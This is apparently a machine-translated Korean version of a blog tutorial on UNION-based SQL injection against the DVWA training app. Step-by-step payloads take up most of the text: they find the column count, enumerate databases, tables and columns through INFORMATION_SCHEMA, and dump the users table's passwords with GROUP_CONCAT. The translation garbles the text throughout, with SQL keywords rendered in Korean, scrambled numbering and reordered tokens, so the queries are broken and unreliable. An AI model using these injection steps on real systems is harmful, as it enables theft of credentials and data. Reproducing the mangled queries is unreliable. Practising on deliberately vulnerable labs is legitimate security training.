SQL 인젝션 (b) 조인트 문의 주입 공정

 
 

주입 단계

  • 주입 포인트를 확인하고 그 결과 문자 폐쇄
  • 데이터베이스의 유형을 결정
  • 비트 디스플레이를 얻기 위해 열 수를 추측
  • 기본 정보를 얻습니다 (예 : 등 데이터베이스 이름, 데이터베이스 버전, 현재 데이터베이스 이름)
  • 데이터베이스 이름을 가져옵니다
  • 테이블 이름을 가져옵니다
  • 열 이름을 가져옵니다
  • 열 값을 가져옵니다





. 1
. 1 ' 에 의한 주문 3 -. - 오류 2 1. ' 주문 1 -. - 바로 . 3 . 1 ' 주문 2로는 - - 오른쪽 (두가 몇 열을 결정) 4. 5. 6. 1. ' 연합 1, 2를 선택 - - (에코 비트 참조) 7. 8. 1. ' 연합 SELECT 사용자를 (), 데이터베이스 () - - (라이브러리 이름을 참조) . 9 . 1 ' 연합 SELECT를, TABLE_NAME WHERE TABLE_SCHEMA = 2 INFORMATION_SCHEMA.TABLES에서 데이터베이스 () - - (표 참조) 10 . 1 ' 연합 COLUMN_NAME SELECT, INFORMATION_SCHEMA.COLUMNS 2에서 테이블 _에서 = ' 사용자 ' - - (열 이름 참조) 11. 1. ' 연합 GROUP_CONCAT SELECT (COLUMN_NAME) INFORMATION_SCHEMA.COLUMNS에서 2에서 WHERE TABLE_NAME = ' 사용자 ' - - (GROUP_CONCAT 한 라인에서만 시청 데이터를 허용) (12)는 -> DVWA 데이터베이스 사용자의 데이터 테이블에는 다음과 같은 열이 있습니다 (13)가 USER_ID, FIRST_NAME, LAST_NAME, 사용자, 암호, 아바타, LAST_LOGIN, failed_login 14 ----------------------- -------------------------------------------------- - 데이터베이스 구조에 액세스 할 수 있습니다. (15) (16) . 1 ' 연합 SELECT 1, GROUP_CONCAT (비밀번호) 사용자에서. - -
1은  몇 가지주의를 명령 :
 2  INFORMATION_SCHEMA.TABLES와 INFORMATION_SCHEMA.COLUMNS가 INFORMATION_SCHEMA 테이블이다
 3.  TABLE_SCHEMA 데이터베이스 이름
 4.  TABLE_NAME 테이블을 데이터베이스 내부
 5.  table_column 데이터베이스 테이블의 열 이름을
 (6).  에서   연합 넣어 SELECT를   다시
 7 예를 GROUP_CONCAT (TABLE_NAME), 2 , . 3 , . 4  에서   INFORMATION_SCHEMA.TABLES   WHERE   TABLE_SCHEMA dababase = ()

추천

출처www.cnblogs.com/difengblog/p/11886434.html